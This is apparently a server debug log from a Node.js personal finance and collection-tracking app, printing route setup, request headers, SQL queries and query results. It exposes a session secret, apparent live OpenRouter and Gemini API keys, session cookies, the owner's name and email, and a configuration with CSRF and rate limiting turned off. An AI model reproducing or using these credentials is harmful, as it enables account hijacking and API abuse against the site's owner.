  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.163',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T16:42:03.902Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.163',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.163',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-14T05:52:39.845Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-14T05:52:42.038Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-14T05:52:42.901Z server-connect:setup:upload Upload middleware configured.
2026-07-14T05:52:42.901Z server-connect:secure CSRF Protection initialized
2026-07-14T05:52:42.907Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-14T05:52:42.907Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-14T05:52:42.908Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-14T05:52:42.911Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-14T05:52:42.917Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-14T05:52:42.920Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-14T05:52:42.936Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-14T05:52:42.948Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-14T05:52:42.955Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-14T05:52:42.956Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-14T05:52:42.956Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-14T05:52:42.960Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-14T05:52:42.965Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-14T05:52:42.975Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-14T05:52:42.978Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-14T05:52:43.051Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-14T05:52:43.053Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-14T05:52:43.056Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-14T05:52:43.063Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-14T05:52:43.067Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-14T05:52:43.069Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-14T05:52:43.077Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-14T05:52:43.078Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-14T05:52:43.084Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-14T05:52:43.087Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-14T05:52:43.090Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-14T05:52:43.092Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-14T05:52:43.094Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-14T05:52:43.099Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-14T05:52:43.105Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-14T05:52:43.105Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-14T05:52:43.109Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-14T05:52:43.113Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-14T05:52:43.113Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-14T05:52:43.119Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-14T05:52:43.123Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-14T05:52:43.125Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-14T05:52:43.135Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-14T05:52:43.747Z server-connect:router Serving templateView /
2026-07-14T05:52:43.750Z server-connect:app Executing action step identify
2026-07-14T05:52:43.750Z server-connect:app options: { provider: 'security' }
2026-07-14T05:52:43.752Z server-connect:output identity: 1
2026-07-14T05:52:43.752Z server-connect:app Executing action step restrict
2026-07-14T05:52:43.752Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T05:52:43.755Z server-connect:output restrict: undefined
2026-07-14T05:52:43.755Z server-connect:app Executing action step restrict
2026-07-14T05:52:43.755Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T05:52:43.756Z server-connect:output restrict: undefined
2026-07-14T05:52:43.756Z server-connect:router Render template layouts/main
2026-07-14T05:52:43.757Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-14T05:52:47.178Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-14T05:52:47.341Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-14T05:52:47.430Z server-connect:setup:upload Upload middleware configured.
2026-07-14T05:52:47.430Z server-connect:secure CSRF Protection initialized
2026-07-14T05:52:47.432Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-14T05:52:47.433Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-14T05:52:47.433Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-14T05:52:47.434Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-14T05:52:47.434Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-14T05:52:47.435Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-14T05:52:47.437Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-14T05:52:47.438Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-14T05:52:47.438Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-14T05:52:47.438Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-14T05:52:47.439Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-14T05:52:47.439Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-14T05:52:47.440Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-14T05:52:47.440Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-14T05:52:47.443Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-14T05:52:47.443Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-14T05:52:47.444Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-14T05:52:47.444Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-14T05:52:47.444Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-14T05:52:47.445Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-14T05:52:47.445Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-14T05:52:47.445Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-14T05:52:47.445Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-14T05:52:47.446Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-14T05:52:47.446Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-14T05:52:47.446Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-14T05:52:47.446Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-14T05:52:47.447Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-14T05:52:47.447Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-14T05:52:47.447Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-14T05:52:47.447Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-14T05:52:47.448Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-14T05:52:47.448Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-14T05:52:47.448Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-14T05:52:47.448Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-14T05:52:47.449Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-14T05:52:47.449Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-14T05:52:47.476Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-14T05:52:49.040Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-14T05:52:49.041Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-14T05:52:49.043Z server-connect:app Executing action step identify
2026-07-14T05:52:49.043Z server-connect:app options: { provider: 'security' }
2026-07-14T05:52:49.044Z server-connect:output identity: 1
2026-07-14T05:52:49.044Z server-connect:app Executing action step restrict
2026-07-14T05:52:49.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:52:49.046Z server-connect:app Executing action step identify
2026-07-14T05:52:49.046Z server-connect:app options: { provider: 'security' }
2026-07-14T05:52:49.046Z server-connect:output identity: 1
2026-07-14T05:52:49.046Z server-connect:app Executing action step restrict
2026-07-14T05:52:49.046Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:52:49.047Z server-connect:output restrict: undefined
2026-07-14T05:52:49.048Z server-connect:app Executing action step select
2026-07-14T05:52:49.048Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-14T05:52:49.051Z server-connect:output restrict: undefined
2026-07-14T05:52:49.051Z server-connect:app Executing action step single
2026-07-14T05:52:49.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-14T05:52:49.053Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-14T05:52:49.058Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-14T05:53:32.050Z server-connect:router Serving templateView /diecast-reports
2026-07-14T05:53:32.051Z server-connect:app Executing action step identify
2026-07-14T05:53:32.051Z server-connect:app options: { provider: 'security' }
2026-07-14T05:53:32.051Z server-connect:output identity: 1
2026-07-14T05:53:32.051Z server-connect:app Executing action step restrict
2026-07-14T05:53:32.051Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T05:53:32.052Z server-connect:output restrict: undefined
2026-07-14T05:53:32.053Z server-connect:router Render template diecast-reports
2026-07-14T05:53:32.053Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
